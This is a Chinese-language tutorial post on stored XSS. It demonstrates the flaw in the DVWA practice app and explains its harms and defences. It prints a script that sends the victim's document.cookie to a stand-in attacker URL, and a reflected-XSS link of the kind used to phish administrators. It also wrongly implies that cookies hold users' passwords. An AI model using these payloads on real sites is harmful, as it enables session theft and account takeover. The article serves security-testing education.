前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >看图说话:持久式XSS(跨站)漏洞示例

看图说话:持久式XSS(跨站)漏洞示例

作者头像
张树臣
发布2018-12-17 17:25:51
1.3K0
发布2018-12-17 17:25:51
举报

★安全测试之XSS漏洞★

读书与实践是获取知识的主要渠道,学习的权力只掌握在每个人自己手中,让学习成为一种生活的习惯,这比任何名牌大学的校徽重要得多!

——张老师

张老师寄语

目 录

1 XSS(跨站)漏洞是什么?

2. 如何判断是否存在持久型XSS攻击风险?

3. 持久型XSS攻击的危害?

4. 怎么防止持久型XSS攻击呢?

1. XSS(跨站)漏洞是什么?

XSS是跨站脚本攻击(Cross Site Scripting)的简称,细心的同学可能发现了,英文缩写应该是"CSS”,但为什么不简称CSS呢,这是为了跟跟层叠样式表(Cascading Style Sheets,CSS)进行区别。

我们做界面测试时,常常在“输入框”中输入一些特殊字符、或者超长字符串来验证这个输入框是否做了数据格式校验或者边界值处理。我们也都知道,如果没有进行必要的格式验证或者边界值处理,就会影响用户体验。但不妨再深入思考一下,输入框中的数据若不作处理,除了“易用性”的问题,是否有更严重的情况呢?

答案是肯定的。

如果我们查看一个网页的源代码,我们会发现这个页面大都是html语言,html语言的一个典型特点是它的内容包含在一个个“标签”中,比如下图中的<head>、<meta >,程序根据“标签”来判定页面上每个元素的边界。

我们不妨设想一下,如果我们在输入框中输入一个“标签”,借此来伪造“边界”以欺骗程序,会发生什么呢?

其实这便是CSS攻击的原理了。用稍微专业的话来说就是:客户端发送请求到服务器端,服务器在没有验证请求中的信息的情况下,就对请求进行了处理,从而导致原本正常的页面被嵌入了恶意HTML代码。之后当其他用户访问该页面时,恶意代码自动执行,给用户造成了危害。

根据XSS漏洞攻击的特点可以分为两类,一类是持久型/存储型XSS,另一类是非持久型/反射型XSS:

  1. 持久型/存储型XSS:嵌入到web页面的恶意HTML代码被存储到服务器端(数据库),攻击行为将伴随着攻击数据一直存在。
  2. 非持久型/反射型XSS:反射型XSS是一次性的,仅对当次的页面访问产生影响。这类攻击的特点是在用户访问一个被攻击者篡改后的页面时,自动(或误导用户主动)跳转到一个恶意链接,之后将恶意代码植入到用户游览器并执行,从而达到攻击目的。

下文说说持久型/存储型XSS漏洞攻击。

2. 如何判断是否存在持久型XSS攻击风险?

1、打开我们的渗透测试的演练系统DVWA:

2、在Message 输入框里输入

提交:

3、重新打开靶机页面,之前输入脚本被执行:

4、进入数据库观察,看到JS脚本被保存到表内。如果再打开可以查看备注的web页面,就可以弹出我们添加的“message”信息——这代表我们攻击成功了,也证明网站存在持久式XSS(跨站)漏洞:

5、从上面的例子我们可以看出,存储型XSS的数据流向是:

浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器

3. 持久型XSS攻击的危害?

看到这里可能有人会疑惑,这个能有什么用啊?

我们不妨设想一下:如果把上面的“message”字段的值修改成如下的代码,会有什么结果?

<a id='attacker'>点关注、不迷路、张老师带你畅游测试路</a>   <script>document.getElementById('attacker').href='http://www.a123.com/receiveCookies.html?'+document.cookie;</script>

注:http://www.a123.com/receiveCookies.html是恶意网站的url

如果是这样的恶意代码,那么攻击者就能获取到这个用户的cookie信息(cookie中包含了用户的登录账号和密码),进而以该用户角色登录系统。

除此之外,还会有哪些危害呢?

其实,既然都能够在Web 页面中注入代码了,那么我们能想到的危害它几乎都可以做到了。除了上面说的攻击者可以使用 XSS 漏洞窃取 Cookie,劫持帐户,还可以执行 ActiveX,执行 Flash 内容,强迫用户下载软件,或者是对硬盘和数据采取操作。

只要您点击了某些 URL,这一切便有可能发生!

网络钓鱼攻击通常利用 XSS 漏洞来伪装成合法站点。日常生活中可以看到很多这样的情况,比如某银行给你发来了一封电子邮件,一顿balabala然后诱使你点击某个超链接。如果仔细观察这个 URL,它实际上可能利用了银行网站中存在的漏洞,它们的形式类似于http://mybank.com/somepage?redirect=<script>alert(‘XSS’)</script>,这里利用了“redirect”参数来执行攻击。

如果你足够狡猾且不怕死的话,可以将管理员定为攻击目标,你可以发送一封系统故障的邮件,并在正文附加包含攻击的url。在管理员打开该 URL 后,便可以执行许多恶意操作,例如窃取他的凭证。

总之一句话,XSS的危害性比我们能想象出的更严重!

4. 怎么防止持久型XSS攻击呢?

从网上搜了一下相关的攻击预防方法,大家可以参考一下:

1)在页面上添加用户输入长度限制;

2)在服务端(数据库)添加长度限制;

3)过滤用户输入的特殊字符串,对其进行转义,如下

示例字符串

"<script>document.getElementById('a').href=''+document.cookie;</script>",

下面是转义之后的字符串

StringEscapeUtils - &lt;script&gt;&#26159;&#19981;&#26159;document.getElementById('a').href=''+document.cookie;&lt;/script&gt;HtmlUtils - &lt;script&gt;document.getElementById(&#39;a&#39;).href=&#39;&#39;+document.cookie;&lt;/script&gt;

4)http相关的设置:

A)cookie.setHttpOnly(true);--保护用户cookie

B)res.setHeader("X-Frame-Options", "SAMEORIGIN");

  • X-Frame-Options对应的属性值含义:
  • DENY:这个页面不允许被以frame的方式加载
  • SAMEORIGIN:这个页面只允许同源页面加载
  • <uri>:这个页面只能被特定的域加载

C)res.setHeader("X-xss-protection", "1;mode=block");

D)res.setHeader("X-Content-Type-Options", "nosniff ");阻止浏览器进行content-type 嗅探。告诉浏览器相信此服务器下发的资源的类型,防止类型嗅探攻击。

5. 相关链接

  1. 看图说话:文件上传(File Upload)漏洞示例
  2. 看图说话:文件包含(File Inclusion)漏洞示例

投稿:9016 编辑:Mack

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-11-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 软件测试经验与教训 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档